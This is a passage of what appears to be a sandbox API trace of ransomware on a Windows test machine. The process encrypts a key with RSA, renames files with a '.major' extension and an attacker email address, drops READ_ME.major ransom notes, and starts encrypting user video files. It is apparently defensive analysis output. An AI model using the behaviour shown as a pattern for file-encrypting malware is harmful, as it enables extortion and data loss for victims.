lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.222] WriteFile (in: hFile=0x608, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20c, lpOverlapped=0x0) returned 1 [0149.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0149.223] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20c [0149.223] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.223] WriteFile (in: hFile=0x608, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hxFJ3z7JOBvN05G3dHs+ReB5NurTs0TA+EU7XhpnR1vYxuubcBuc2d8cf3/2Rkl+\nkqQIFcS1IzFaXS8hqd+71DMS6BvcVgh54MyqF6zFaAcsvrhdnlsWP9NHh4SKgzTY\nRu5+X43z8sp62kbB1rZFlQtmRiJWm0TTXGtt6fqmexDOOBK6U8Jzphu+kxxrExlk\n9wewiOqZ4GcjngKsU4ucxs7a6bgB/0Qzxmqrgk5CQfEYXwSUo71pcq+AFtEJW7vk\np+2751PUXECLA3+KgWK5CnspLThtnbMg44O/8LHg2LGp+KulemCG/8vL2XYuqezm\nNSqsw1QWSEh+MHbB75TdHw==\n", pcchString=0x2e3f9a8) returned 1 [0149.223] WriteFile (in: hFile=0x608, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.224] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.224] WriteFile (in: hFile=0x608, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.224] CloseHandle (hObject=0x608) returned 1 [0149.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.224] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Searches\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.226] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e938 | out: hHeap=0x570000) returned 1 [0149.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0149.226] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\SendTo\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0149.226] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0149.227] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Start Menu\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0149.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0149.227] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b71b019, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms", cAlternateFileName="WINRT-~1.SEA")) returned 0xffffffff [0149.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0149.227] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf9ab985, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152f6b4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6309c0 [0149.227] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0149.227] GetLastError () returned 0x5 [0149.227] SetLastError (dwErrCode=0x5) [0149.227] GetLastError () returned 0x5 [0149.227] SetLastError (dwErrCode=0x5) [0149.227] GetLastError () returned 0x5 [0149.228] SetLastError (dwErrCode=0x5) [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec10 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631040 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631040 | out: hHeap=0x570000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec10 | out: hHeap=0x570000) returned 1 [0149.228] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcf9ab985, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x152f6b4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0149.228] GetLastError () returned 0x5 [0149.228] SetLastError (dwErrCode=0x5) [0149.228] GetLastError () returned 0x5 [0149.228] SetLastError (dwErrCode=0x5) [0149.228] GetLastError () returned 0x5 [0149.228] SetLastError (dwErrCode=0x5) [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e938 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630d40 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d40 | out: hHeap=0x570000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0149.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e938 | out: hHeap=0x570000) returned 1 [0149.229] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11660d70, ftCreationTime.dwHighDateTime=0x1d4d2a3, ftLastAccessTime.dwLowDateTime=0x2665f440, ftLastAccessTime.dwHighDateTime=0x1d4c98b, ftLastWriteTime.dwLowDateTime=0x2665f440, ftLastWriteTime.dwHighDateTime=0x1d4c98b, nFileSizeHigh=0x0, nFileSizeLow=0x18437, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BRqP.mkv", cAlternateFileName="")) returned 1 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0149.229] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] GetLastError () returned 0x5 [0149.229] SetLastError (dwErrCode=0x5) [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.229] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3023a420, ftCreationTime.dwHighDateTime=0x1d4c9b6, ftLastAccessTime.dwLowDateTime=0x6ff8e2e0, ftLastAccessTime.dwHighDateTime=0x1d4c79a, ftLastWriteTime.dwLowDateTime=0x6ff8e2e0, ftLastWriteTime.dwHighDateTime=0x1d4c79a, nFileSizeHigh=0x0, nFileSizeLow=0xcb9c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="diO1.swf", cAlternateFileName="")) returned 1 [0149.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.229] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.230] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcef4e0, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0x144b1770, ftLastAccessTime.dwHighDateTime=0x1d4d09f, ftLastWriteTime.dwLowDateTime=0x144b1770, ftLastWriteTime.dwHighDateTime=0x1d4d09f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EolgHvXR", cAlternateFileName="")) returned 1 [0149.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0149.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0149.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.230] GetLastError () returned 0x5 [0149.230] SetLastError (dwErrCode=0x5) [0149.230] GetLastError () returned 0x5 [0149.231] SetLastError (dwErrCode=0x5) [0149.231] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.231] GetLastError () returned 0x5 [0149.231] SetLastError (dwErrCode=0x5) [0149.231] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0149.231] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0149.231] WriteFile (in: hFile=0x60c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0149.232] CloseHandle (hObject=0x60c) returned 1 [0149.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0149.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0149.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.232] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f55140, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0x4ce199b0, ftLastAccessTime.dwHighDateTime=0x1d4d3e2, ftLastWriteTime.dwLowDateTime=0x4ce199b0, ftLastWriteTime.dwHighDateTime=0x1d4d3e2, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nbF5fUkJ1ZUu3He.swf", cAlternateFileName="NBF5FU~1.SWF")) returned 1 [0149.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.233] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152f6b4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152f6b4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e87e3e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.233] GetLastError () returned 0x0 [0149.233] SetLastError (dwErrCode=0x0) [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.233] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6984f0b0, ftCreationTime.dwHighDateTime=0x1d4d3ad, ftLastAccessTime.dwLowDateTime=0x5459b310, ftLastAccessTime.dwHighDateTime=0x1d4c79b, ftLastWriteTime.dwLowDateTime=0x5459b310, ftLastWriteTime.dwHighDateTime=0x1d4c79b, nFileSizeHigh=0x0, nFileSizeLow=0x623c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="STyJ88lyvSUA.avi", cAlternateFileName="STYJ88~1.AVI")) returned 1 [0149.233] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0149.233] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.233] GetLastError () returned 0x0 [0149.234] SetLastError (dwErrCode=0x0) [0149.234] GetLastError () returned 0x0 [0149.234] SetLastError (dwErrCode=0x0) [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.234] GetLastError () returned 0x0 [0149.234] SetLastError (dwErrCode=0x0) [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0149.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.234] FindNextFileW (in: hFindFile=0x6309c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6984f0b0, ftCreationTime.dwHighDateTime=0x1d4d3ad, ftLastAccessTime.dwLowDateTime=0x5459b310, ftLastAccessTime.dwHighDateTime=0x1d4c79b, ftLastWriteTime.dwLowDateTime=0x5459b310, ftLastWriteTime.dwHighDateTime=0x1d4c79b, nFileSizeHigh=0x0, nFileSizeLow=0x623c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="STyJ88lyvSUA.avi", cAlternateFileName="STYJ88~1.AVI")) returned 0 [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.234] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\STyJ88lyvSUA.avi", dwFileAttributes=0x80) returned 1 [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0149.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.234] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0149.234] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\STyJ88lyvSUA.avi" (normalized: "c:\\users\\fd1hvy\\videos\\styj88lyvsua.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.235] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=25148) returned 1 [0149.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x623c) returned 0x631898 [0149.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x623c) returned 0x637ae0 [0149.235] ReadFile (in: hFile=0x60c, 